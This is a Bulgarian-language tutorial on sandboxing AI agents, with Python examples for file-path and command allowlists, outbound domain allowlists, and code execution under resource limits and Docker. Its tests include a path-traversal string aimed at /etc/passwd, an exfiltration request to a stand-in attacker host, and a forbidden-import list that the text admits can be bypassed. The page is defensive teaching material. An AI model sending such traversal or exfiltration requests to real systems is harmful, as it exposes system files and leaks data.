Изолиране и пясъчник (Sandboxing)
На тази страница
Защо да изолираме AI агентите?
AI агент, който изпълнява код или извиква инструменти, е фундаментално различен от обикновен чатбот. Компрометиран чатбот в най-лошия случай генерира неловък отговор; компрометиран агент действа – той може да изпълнява системни команди, да чете чувствителни файлове или да комуникира с външни услуги. Всички разгледани досега защити имаха за цел да предотвратят компрометирането. Използването на пясъчник (sandboxing) променя подхода: то приема, че компрометирането рано или късно ще се случи, и се фокусира върху ограничаването на възможностите на атакуващия след проникването. Това е фундаментална промяна, поради която изолирането не замества никой от предишните слоеве защита.
Ниво 1: Ограничаване на достъпа до ресурси
Първото ниво прилага принципа на най-малките привилегии към файлове и команди. Ключовият технически момент е използването на resolve() преди сравнението: без него път като /data/app/uploads/../../etc/passwd започва с разрешената директория и би преминал наивна проверка за префикс. Резолюцията на реалния път осуетява това пресичане на директории, което остава една от най-честите атаки срещу агенти, манипулиращи файлове.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Командите следват същата логика, като се използва списък с разрешени (allowlist), а не със забранени (blocklist). Асиметрията е решаваща: списъкът със забранени Ви принуждава да предвидите всяка опасна команда – упражнение, което ще загубите – докато списъкът с разрешени изисква само да изброите това, от което агентът действително има нужда, често само три или четири команди.
Ниво 2: Контрол на изходящия трафик
Мрежовата изолация адресира сценария с изтичане на данни, обсъден по-рано. Докато агентът може да изпрати HTTP заявка до който и да е домейн, всяка данна, до която се докосне, може да напусне Вашия периметър, а изходящият трафик ще изглежда като обикновен приложения трафик. Ограничаването на дестинациите до изричен списък превръща опита за изтичане на данни в регистрирано изключение.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
Ниво 3: Изпълнение на код без доверие към машината
Изпълнението на код, написан от модел, е най-деликатният случай. Долната имплементация комбинира три защити: проверка на импортирането преди изпълнение, лимити на паметта и процесорното време, зададени в самия скрипт, и среда, сведена до абсолютния минимум при стартиране на subprocess.
Необходимо е предупреждение относно проверката на импортирането. Тя разчита на търсене на текст и внимателен атакуващ ще я заобиколи – __import__("os") не съдържа търсения низ. Третирайте тази проверка като предпазна мярка срещу грешки и наивни опити, никога като граница на сигурността. Истинската граница е изолираният процес със своите лимити на ресурсите.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
За производствени случаи Docker осигурява по-стабилна изолация, тъй като вече не разчита на сътрудничеството на изпълнявания код. Всяка опция на командата затваря конкретна врата: --network=none премахва всякаква възможност за мрежово изтичане на данни, --read-only предотвратява персистентност, --memory и --cpus ограничават потреблението, --tmpfs предоставя временно и ограничено работно пространство, а --security-opt=no-new-privileges забранява ескалация на привилегиите по време на изпълнение. Флагът --rm унищожава контейнера в края, гарантирайки, че никакво състояние не оцелява от едно изпълнение до следващото.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Избор на правилното ниво
Натрупването на всичките три нива върху обикновен чатбот с ЧЗВ е скъпо и ненужно, докато разчитането само на първото ниво за агент, който изпълнява код, означава да не защитавате нищо. Таблицата по-долу предоставя отправна точка; коригирайте я въз основа на чувствителността на достъпните данни, което често е по-важно от сложността на самия агент.
| Сценарий | Препоръчително ниво |
|---|---|
| Обикновен чатбот с въпроси и отговори | Разрешения (Ниво 1) |
| Агент с достъп до API | Разрешения + Мрежа (Нива 1-2) |
| Агент, изпълняващ код | Пълен Docker (Ниво 3) |
| Многопотребителски агент | Docker + изолация на сесията |
Каквото и ниво да изберете, тествайте го така, както бихте тествали функционалност. Пясъчник, който инсталирате и после забравите, тихо деградира с времето – добавена зависимост, том, монтиран „временно“, домейн, отворен за отстраняване на грешки. Преизпълнявайте тестовете за пресичане на пътища и забранени домейни при всяка актуализация на агента: заобикалянето на пясъчник не е малка аномалия, а критичен инцидент.
Ключови изводи
- Изолирането е съществено веднага щом агентът има достъп до инструменти или изпълнява код
- Три нива на изолация: разрешения, мрежа, контейнер – комбинирайте ги според риска
- Принципът на най-малките привилегии важи за всеки ресурс: файлове, мрежа, команди
- Docker с
--network=noneи--read-onlyосигурява най-стабилната изолация - Изолацията трябва да се тества редовно – заобикалянето на пясъчник е критичен инцидент